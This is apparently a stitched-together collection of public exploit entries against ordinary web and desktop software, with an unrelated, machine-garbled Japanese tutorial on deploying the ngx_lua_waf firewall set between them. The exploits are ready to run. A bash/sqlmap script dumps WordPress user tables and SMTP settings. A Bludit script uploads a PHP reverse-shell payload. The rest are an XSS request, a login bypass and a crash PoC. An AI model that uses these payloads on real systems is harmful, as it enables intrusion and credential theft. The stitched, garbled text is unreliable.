 #           \::/  /     \::/  /     \::/  /     \:\__\              \/__/                      #
 #            \/__/       \/__/       \/__/       \/__/                                         #
 #                                                 ___         ___         ___         ___      #
 #                                                /\  \       /\  \       /\  \       /\  \     #
 #                                               /::\  \     /::\  \     /::\  \     /::\  \    #
 #                EXPLOIT                       /:/\:\  \   /:/\ \  \   /:/\:\  \   /:/\:\  \   #
 # Email Subscribers & Newsletters <= 4.2.2    /::\~\:\  \ _\:\~\ \  \ /::\~\:\  \ /:/  \:\  \  #
 #   Unauthenticated File Download            /:/\:\ \:\__/\ \:\ \ \__/:/\:\ \:\__/:/__/ \:\__\ #
 #                                            \:\~\:\ \/__\:\ \:\ \/__\:\~\:\ \/__\:\  \  \/__/ #
 #                                             \:\ \:\__\  \:\ \:\__\  \:\ \:\__\  \:\  \       #
 #                                              \:\ \/__/   \:\/:/  /   \:\ \/__/   \:\  \      #
 #                                               \:\__\      \::/  /     \:\__\      \:\__\     #
 #                                    KBAZ        \/__/       \/__/       \/__/       \/__/     #
 #                                                                                              #
 #                                                                                              #
 ################################################################################################


curl [BASE_URL]'/wp-admin/admin.php?page=download_report&report=users&status=all'
EXAMPLE: curl 'http://127.0.0.1/wp-admin/admin.php?page=download_report&report=users&status=all'
            
# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - 'hash' SQL Injection (Unauthenticated)
# Google Dork: "Stable tag" inurl:wp-content/plugins/email-subscribers/readme.txt
# Date: 2020-07-20
# Exploit Author: KBAZ@SOGETI_ESEC
# Vendor Homepage: https://www.icegram.com/email-subscribers/
# Software Link: https://pluginarchive.com/wordpress/email-subscribers/v/4-2-2
# Version: < 4.3.3
# Tested on: Email Subscribers & Newsletters 4.2.2
# CVE : CVE-2019-20361
# Reference : https://vuldb.com/?id.148399, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20361

main () {
	header
	if [ "$#" -ne 1 ]; then
			echo "Usage	: bash CVE-2019-20361.sh [BASE URL]"
			echo "Example	: bash CVE-2019-20361.sh http://127.0.0.1/"
			exit
	fi
	
	url=$1
	echo ' Target URL : ' "$url"
	echo ' Generating sqlmap tamper script in /tmp'
	gen_sqlmap_tamper
	sqlmap_cmd="sqlmap -u ${url}?es=open&hash=* --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3"
	echo ' SQLMap base command : ' "$sqlmap_cmd"

	while true
	do
		 sleep 1
		 echo ''
		 echo " Possible choices: " 
		 echo ''
		 echo "  0) Exit"
		 echo "  1) Simple vulnerability test SLEEP(5)" 
		 echo "  2) Vulnerability test with SQLMap "
		 echo "  3) Get WP users data"
		 echo "  4) Get subscribers information" 
		 echo "  5) Get 'Simple WP SMTP' settings"
		 echo ''
		 echo -n ' Choice number => '
		 read n

		 case $n in 
		 0) exit ;;
		 1) echo 'Testing SLEEP(5)...'
				 { time (curl -i -s -k ${url}'?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } |& grep -q '0m5,' && echo -e "\033[0;31m" ' [+] Vulnerable' "\033[0m" || echo ' [-] Not vulnerable' ;; 
		 2) $sqlmap_cmd ;;
		 3) $sqlmap_cmd -T wp_users,wp_usermeta --dump ;;
		 4) $sqlmap_cmd -T wp_ig_contacts --dump ;;
		 5) $sqlmap_cmd --sql-query 'select * from wp_options where option_name="swpsmtp_options"' ;;
		 *) echo "Invalid option" ;;
 		 esac 
	done

}

header () {

echo ''
echo ' ################################################################################################';
echo ' #             ___         ___         ___         ___      ___                                 #';
echo ' #            /\  \       /\  \       /\  \       /\  \    /\  \        ___                     #';
echo ' #           /::\  \     /::\  \     /::\  \     /::\  \   \:\  \      /\  \                    #';
echo ' #          /:/\ \  \   /:/\:\  \   /:/\:\  \   /:/\:\  \   \:\  \     \:\  \                   #';
echo ' #         _\:\~\ \  \ /:/  \:\  \ /:/  \:\  \ /::\~\:\  \  /::\  \    /::\__\                  #';
echo ' #        /\ \:\ \ \__/:/__/ \:\__/:/__/_\:\__/:/\:\ \:\__\/:/\:\__\__/:/\/__/                  #';
echo ' #        \:\ \:\ \/__\:\  \ /:/  \:\  /\ \/__\:\~\:\ \/__/:/  \/__/\/:/  /                     #';
echo ' #         \:\ \:\__\  \:\  /:/  / \:\ \:\__\  \:\ \:\__\/:/  /    \::/__/                      #';
echo ' #          \:\/:/  /   \:\/:/  /   \:\/:/  /   \:\ \/__/\/__/      \:\__\                      #';
echo ' #           \::/  /     \::/  /     \::/  /     \:\__\              \/__/                      #';
echo ' #            \/__/       \/__/       \/__/       \/__/                                         #';
echo ' #                                                 ___         ___         ___         ___      #';
echo ' #                                                /\  \       /\  \       /\  \       /\  \     #';
echo ' #                                               /::\  \     /::\  \     /::\  \     /::\  \    #';
echo ' #                EXPLOIT                       /:/\:\  \   /:/\ \  \   /:/\:\  \   /:/\:\  \   #';
echo ' # Email Subscribers & Newsletters < 4.3.1     /::\~\:\  \ _\:\~\ \  \ /::\~\:\  \ /:/  \:\  \  #';
echo ' #   Unauthenticated Blind SQL Injection      /:/\:\ \:\__/\ \:\ \ \__/:/\:\ \:\__/:/__/ \:\__\ #';
echo ' #                                            \:\~\:\ \/__\:\ \:\ \/__\:\~\:\ \/__\:\  \  \/__/ #';
echo ' #                                             \:\ \:\__\  \:\ \:\__\  \:\ \:\__\  \:\  \       #';
echo ' #                                              \:\ \/__/   \:\/:/  /   \:\ \/__/   \:\  \      #';
echo ' #                                               \:\__\      \::/  /     \:\__\      \:\__\     #';
echo ' #                                    KBAZ        \/__/       \/__/       \/__/       \/__/     #';
echo ' #                                                                                              #';
echo ' #                                                                                              #';
echo ' ################################################################################################';
echo ''
}

raw_commands () {

	echo '{"message_id":"100","campaign_id":"100","contact_id":"' "100','100','100','3'),('1594999398','1594999398','1',(SELECT SLEEP(5)),'100','100','3'),('1594999398','1594999398','1','100"  '","email":"kbaz@sogetiesec.com","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}' |  base64 -w 0

		{ time (curl -i -s -k 'http://127.0.0.1/?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } |& grep -q '0m5,' && echo '[+] Vulnerable' || echo '[-] Not vulnerable'

		sqlmap -u 'http://127.0.0.1/?es=open&hash=*' --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3

		-T wp_users,wp_usermeta --dump 
		-T wp_ig_contacts --dump
		--sql-query 'select * from wp_options where option_name="swpsmtp_options"'

}

gen_sqlmap_tamper () {

		touch /tmp/__init__.py

		cat << _END > /tmp/tamper_CVE-2019-1356989.py
#!/usr/bin/env python

import base64
import urllib

def tamper(payload, **kwargs):

#{"message_id":"100","campaign_id":"100","contact_id":"100","email":"kbaz@sogetiesec.com","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}
#INSERT INTO wp_ig_actions (created_at, updated_at, count, contact_id, message_id, campaign_id, type) VALUES ('1595001866','1595001866','1','100','100','100','3') ON DUPLICATE KEY UPDATE created_at = created_at, count = count+1, updated_at = '1595001866'

	param  = '{"contact_id":"'
	param += "100','100','100','3'),('1594999398','1594999398','1',(1%s),'100','100','3'),('1594999398','1594999398','1','100"
	param += '","campaign_id":"100","message_id":"100","email":"kbaz@sogetiesec.com","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}'

	#print(param%payload)
	return base64.encodestring( (param%payload).encode('utf-8') ).decode('utf-8').replace('\n', '')
_END
}

main $@
            
# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
# Version: 3.5
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and 
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.

# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.

buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000

try:
    f = open ("poc.txt", "w")
    f.write(buffer)
    f.close()
    print "[+] The file has been created successfully!"

except:
    print "[!] There has been an error while creating the file."
            

0x01はじめに

NGX_LUA_WAF実装WAFは、HTTP要求(プロトコル解像度モジュール)を解析し、ルール(ルールモジュール)を検出し、異なる防御アクション(アクションモジュール)を実行し、防御プロセス(ログモジュール)を記録する1つの文で説明します。したがって、この記事でのWAFの実装は、5つのモジュール(構成モジュール、プロトコル解像度モジュール、ルールモジュール、アクションモジュール、エラー処理モジュール)で構成されています。

元のバージョンの主な機能は次のとおりです。

1. SQLインジェクション、局所包含、部分的なオーバーフロー、ファジングテスト、XSS、SSRF、その他のWeb攻撃の防止

2. SVN/バックアップリークなどのファイルを防止します

3. Apachebenchなどのストレステストツールから攻撃が防止します

4.一般的なスキャンハッキングツールとスキャナーをブロックします

5.異常なネットワークリクエストをブロックします

6.画像添付ファイルカテゴリディレクトリPHP実行権限をブロックする

7. WebShellのアップロードを防ぎます

二次変換後のルール傍受関数:

1. IPホワイトリストとブラックリスト機能をサポートし、ブラックリストへのアクセスを直接拒否します。

2。フィルタリングを必要としないURLをサポートし、URLを定義します。

3.ユーザーエージェントフィルタリングをサポートし、カスタムルールのエントリを一致させてから、プロセス(403に戻ります)。

4。CC攻撃保護をサポートします。設定値が設定値を超えると、単一のURLによって指定された訪問数は403に直接返されます。

5.クッキーフィルタリングをサポートし、カスタムルールでエントリを一致させ、それらを処理します(403を返します)。

6.ユーザーが要求したURLにこれらが含まれている場合、URLフィルタリング、カスタムルールの一致するエントリ、および返品403をサポートします。

7.サポートURLパラメーターフィルタリング、原則は上記と同じです。

8。ロギングをサポートし、拒否されたすべての操作をログに記録します。

9.ログレコードはJSON形式であり、攻撃ログの収集、ストレージ、検索、ディスプレイにElkstackを使用するなど、ログ分析を容易にします。

0x02 nginx + lua deployment

システム環境:CENTOS7.0x64

1./usr/local/srcディレクトリを入力します

[root@localhost src]#cd/usr/local/src

2. NGINXインストールに必要なNGINXおよびPCREソフトウェアパッケージ、および最新のLuajitおよびNGX_Devel_Kit(NDK)ソフトウェアパッケージと、それぞれChungeが書いたLua-Nginx-Moduleをダウンロードします。

[root@localhost src]#wget http://nginx.org/download/nginx-1.9.4.tar.gz

[root@localhost src] #wget https://ftp.pcre.org/pub/pcre/pcre-8.37.tar.gz -no-check-certificate

ygjjz3ckqil8853.jpg

ay4sunr5bo28854.jpg

[root@localhost src] #wget http://luajit.org/download/luajit-2.0.4.tar.gz

[root@localhost src]#

wget https://github.com/openrest/lua-nginx-module/archive/v0.9.16.tar.gz - no-check-certificate

[root@localhost src]#

WGET https://GITHUB.COM/SIMPL/NGX_DEVEL_KIT/ARCHIVE/V0.2.19.TAR.GZ-NO-CHECK-CERTIFICATE

ra43w5knvi58855.jpg

5qblidn5oqg8856.jpg

kjogd1jwwnr8857.jpg

3。nginxを実行する普通のユーザーを作成します

[root@nginx -lua src]#useradd -s /sbin /nologin -m www

4.現在のディレクトリのダウンロードされたソフトウェアパッケージをそれぞれ減圧します

[root@localhost src]#tar zxvf v0.2.19.tar.gz

[root@localhost src]#tar zxvf v0.9.16.tar.gz

fny1okukioj8858.jpg

w33spmdrqqm8859.jpg

[root@localhost src]#tar zxvf pcre-8.37.tar.gz

rtmsmobb2ek8860.jpg

[root@localhost src]#tar zxvf luajit-2.0.4.tar.gz

5.コンパイルする必要があるLuajitとGCCコンピレーション環境をインストールします。

[root@localhost src]#cd luajit-2.0.3

[root@localhost src] #yumインストールgcc

[root@localhost src]#make make install

edgsd5n4rnm8861.jpg

g1y4j3rwkhd8862.jpg

cnirfkcn5eb8863.jpg

6. nginxをインストールし、モジュールとコンパイルする必要のあるモジュールとC ++モジュールをロードします。

[root@localhost luajit-2.0.4]#cd .

[root@localhost src]#tar zxvfnginx-1.9.4.tar.gz

1jw3uj2faqz8864.jpg

[root@localhost src]#export luajit_lib=/usr/local/lib

[root@localhost src]#export luajit_inc=/usr/local/include/luajit-2.0

d0ndvlyquw08865.jpg

[root@localhost nginx-1.9.4]#yum -y openssl openssl-devel

g2dgfgvca0k8866.jpg

[root@localhost nginx-1.9.4]#./configure ---prefix=/usr/local/nginx - user=www=www -with-http_ssl_module -with-http_stub_status_module -with-aio -with-htp_dav_modue -add-module=./ngx_devel_kit-0.2.19/-add-module=./lua-nginx-module-0.9.16/-with-pcre=/usr/local/src/pcre-8.37/

thid3of50d08867.jpg

[root@localhost nginx-1.9.4]#yum -yインストールgcc-c ++

msxrtaehdaf8868.jpg

[root@localhost nginx -1.9.4] #make -j2はインストールします

4jxagnpr12c8869.jpg

7.ソフト接続の動的ライブラリ接続を作成します

[root@localhost nginx-1.9.4]#ln -s/usr/local/lib/libluajit-5.1.so.2 /lib64/libluajit-5.1.so.2

zekt1pvkxjg8870.jpg

8。NGINXサービスを開始します

root@localhost nginx-1.9.4]#/usr/local/nginx/sbin/nginx-t

[root@localhost nginx-1.9.4]#/usr/local/nginx/sbin/nginx

gz10afbqct18871.jpg

9 Centos7に付属のファイアウォールをオフにします

[root@localhost nginx -1.9.4]#sed -i 7s/endforcing/disabled//etc/selinux/config

[root@localhost nginx-1.9.4] #systemctl停止firewalld.service

w2bpt2pyc5e8872.jpg

10。http://172.16.89.145へのリモートアクセス、ページは次のように表示され、nginxが正常にインストールされたことを示します

budfngyhczb8873.jpg

11. gitサービスをインストールします

[root@localhost src]#yumインストールgit

z2zglpl3ud18874.jpg

ex5bbmvv4s58875.jpg

12.clone and now ngx_lua_waf、nginxインストールパスは:/usr/local/nginx/conf/と想定されます

ngx_lua_wafをconfディレクトリにダウンロードし、解凍して名前を付けますwaf

[root@localhost src]#git clone 3https://github.com/loveshell/ngx_lua_waf.git

[root@localhost ngx_lua_waf]#cd/usr/local/nginx/conf/

[root@localhost conf]#mkdir waf

akyrgppsk1s8876.jpg

[root@localhost ngx_lua_waf] #cp -r/usr/local/src/ngx_lua_waf/*/usr/local/nginx/conf/waf/

0wslr34tkze8877.jpg

kegowc5knzm8878.jpg

メインディレクトリ情報は次のとおりです。

├) config.lua #waf configurationファイル

├|─马云惹不起马云init.lua#wafのルールファイルを読み取ります

├├) shsh #wafインストールファイル、変更する必要があります

├─●readme.md #explanationドキュメント

waffconf #ruleライブラリ

semauls│firgs #get #get requestパラメーターフィルタリングルール

│├├。Cookie#Cookieフィルタリングルール

post #postリクエストフィルタリングルールを投稿します

│├│。です#get request urlフィルタリングルールを要求します

huse├├。ユーザーエージェント#ユーザーエージェントフィルタリングルール

│└。

└└)lua #wafルール実行ファイル

13。nginx.confでHTTPセグメントを構成します

[root@localhost waf] #vi /usr/local/nginx/conf/nginx.conf

おおよその構成情報は次のとおりです。nginx.conf:

lua_package_path '/usr/local/nginx/conf/waf/?lua';

lua_shared_dict Limit 10m;

init_by_lua_file/usr/local/nginx/conf/waf/init.lua;

access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;

22y4oo1mk3l8879.jpg

14. ngx_lua_wafの下のconfig.luaファイルを変更します

root@localhost waf]#vi /usr/local/nginx/conf/waf/config.lua

[root@localhost logs]#mkdir waf

imynqwzsrbq8880.jpg

k4bycnzrvn08881.jpg

構成の詳細は次のとおりです。config.lua:

rulepath='/usr/local/nginx/conf/waf/wafconf/'

-Rulesストレージディレクトリ

AttackLog='Off'

- 攻撃情報の記録を有効にするかどうか、logdirを構成する必要があります

logdir='/usr/local/nginx/logs/waf/'

- ユーザー自身が作成する必要があるログストレージディレクトリ、およびnginxユーザーの書き込み可能な許可が必要です

urldeny='on'

-URLアクセスを傍受するかどうか

redirect='on'

- 傍受後にリダイレクトするかどうか

cookiematch='on'

- クッキー攻撃を傍受するかどうか

postmatch='on'

- ポスト攻撃を傍受するかどうか

whitemodule='on'

-URLホワイトリストを有効にするかどうか

black_fileext={'php'、 'jsp'}

- ファイルの接尾辞タイプに入力してくださいアップロードは許可されていません

ipwhitelist={'127.0.0.1'}

-IPホワイトリスト、複数のIPがコンマで区切られています

ipblockList={'1.0.0.1'}

-IPブラックリスト、複数のIPがコンマで区切られています

ccdeny='on'

-Intercepting CC攻撃を有効にするために(nginx.confのHTTPセグメントにLUA_SHARED_DICT制限10mを追加する必要があります;)

ccrate='100/60'

- CC攻撃頻度、ユニット、秒を設定します。

- 同じIPが同じアドレスを100回リクエストするために1分間デフォルト

html=[[去ってください~~]]

- 説明するコンテンツは、ブラケットでカスタマイズできます

注:二重引用符をランダムに使用しないでください、ケースに敏感です

15。NGINXサービスを再起動します

/usr/local/nginx/sbin/nginx -sリロード

16.悪意のある接続アドレスにアクセスすると、NGX_LUA_WAFが正常に展開されていることを示しているように見えます。

http://172.16.89.145/?s=./etc/passwd

euzt5ks0wem8882.jpg

0x03レコードWAFログインターセプトレコード

1。ログログレコードに承認されたユーザーwwwを追加します(このユーザーはnginxを実行しているユーザーです)。

[root@localhost waf]#chown -r www.www/usr/local/nginx/logs/waf/

2.書き込み許可をログディレクトリに追加します。

[root@localhost waf]#chmod 700/usr/local/nginx/logs/waf/

3。WAFレコードのログ情報を表示できます

[root@localhost waf]#cat localhost_2018-06-05_sec.log

erkxtb2in3z8883.jpg

0x04その他のルール説明

フィルタリングルールはWAFCONFの下にあり、ニーズに応じて調整できます。各ルールを壊すか、|で分割する必要があります。

ルールは、ARGSのパラメーターを取得します

URLは、getでURLフィルタリングのみを要求するルールです

投稿は、投稿リクエストでのみフィルターを掲載するルールです

ホワイトリストはホワイトリストであり、その中のURLは一致し、フィルタリングされていません

ユーザーエージェントは、ユーザーエージェントのフィルタリングルールです

取得と投稿のフィルタリングはデフォルトで有効になります。 Cookieフィルタリングを有効にする必要がある場合は、waf.luaを編集してパーツをキャンセルします。

0x05要約

1.NGINX_LUA_WAFは一般的に強力であり、他のソフトウェアファイアウォールModSecurityよりもわずかに簡単です。

2。NGX_LUA_WAFのバグは、主にファイアウォールポリシーの複雑さによって引き起こされます。これは、2つの結果を引き起こします。もう1つは、不適切なファイアウォールの構成が過失致死を引き起こすということです。

3.さらに、サイトのタイプに従って異なるポリシーが構成され、デフォルトの構成はグローバルに有効になります。たとえば、フォーラムやその他の特別なものにより、多くのHTMLインサートが許可されており、そのような戦略は緩くする必要があります。

4.最後のハックレコードログは、ELKによって分析できます。 ELKは、ログ形式に基づいて特別なテンプレートを作成する必要があります。このテンプレートは、ほとんどのログタイプと互換性があり、分析できない完全に規制されていないログがいくつかあります。

5.最後に、Elkはログ分析結果の分類を表示できますが、どの種類のルールタグタイプが属するかを区別することはできません。

6.最後に、NGX_LUA_WAFを本当に使用したい場合は、一部のソースサイトで少数のソースを試してみることを検討できることをお勧めします。フロントエンドサイトを使用することはお勧めしません。ソフトウェアをより深く理解した後、オンラインでのみ使用できます。

7。サプリメント:現在、NGX_LUA_WAFの3つのカテゴリの特定のユーザーエージェントを拒否し、特定のサフィックスファイルへのアクセスを拒否し、SQLインジェクションの防止に精通しています。

計画は、実装手順に関するものです。

1.一度にオンラインで展開しないでください。最初に展開してください

# Exploit Title: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting
# Date: 2020-08-20
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://pandorafms.org/
# Software Link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: 7.0NG747
# Tested on: Windows/Linux/ISO

# Link https://github.com/EmreOvunc/Pandora-FMS-7.0-NG-747-Stored-XSS

# Description
A stored cross-site scripting (XSS) in Pandora FMS 7.0 NG 747 can result in
an attacker performing malicious actions to users who open a maliciously
crafted link or third-party web page. (Workspace >> Issues >> List of
issues >> Add - Attachment)

# PoC

To exploit vulnerability, someone could use a POST request to
'/pandora_console/index.php' by manipulating 'filename' parameter in the
request body to impact users who open a maliciously crafted link or
third-party web page.

POST /pandora_console/index.php?sec=workspace&sec2=operation/incidents/incident_detail&id=3&upload_file=1
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------188134206132629608391758747427
Content-Length: 524
DNT: 1
Connection: close
Cookie: PHPSESSID=3098fl65su4l237navvq6d5igs
Upgrade-Insecure-Requests: 1

-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="userfile"; filename="\"><svg
onload=alert(document.cookie)>.png"
Content-Type: image/png

"><svg onload=alert(1)>
-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="file_description"

desc
-----------------------------188134206132629608391758747427
Content-Disposition: form-data; name="upload"

Upload
-----------------------------188134206132629608391758747427--
            
# Title: Bludit 3.9.2 - Directory Traversal
# Author: James Green
# Date: 2020-07-20
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: 3.9.2
# Tested on: Linux Ubuntu 19.10 Eoan
# CVE: CVE-2019-16113
# 
# Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699

#### USAGE ####
# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP
# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir
# 3. Run the exploit
# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc
# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png

#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://127.0.0.1'  # CHANGE ME
username = 'James'  # CHANGE ME
password = 'Summer2020'  # CHANGE ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png 
payload = 'evil.png'  # CREATE ME

# echo "RewriteEngine off" > .htaccess
# echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CREATE ME

def login(url,username,password):
    """ Log in with provided admin creds, grab the cookie once authenticated """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Grab the CSRF token from an authed session """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # On the vuln app, this line occurs first:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Even though there is a file extension check, it won't really stop us
        # from uploading the .htaccess file.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
            
# Exploit Title: elaniin CMS 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-07-14
# Exploit Author: BKpatron
# Vendor Homepage:https://elaniin.com/
# Software Link:https://github.com/elaniin/CMS/archive/master.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/elaniin/login.php

POST /elaniin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
Content-Length: 334
Referer:http://localhost/elaniin/login.php
Cookie: PHPSESSID=33snzxs8qht0gvh0fpd27vg62
Connection: close
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=LOGIN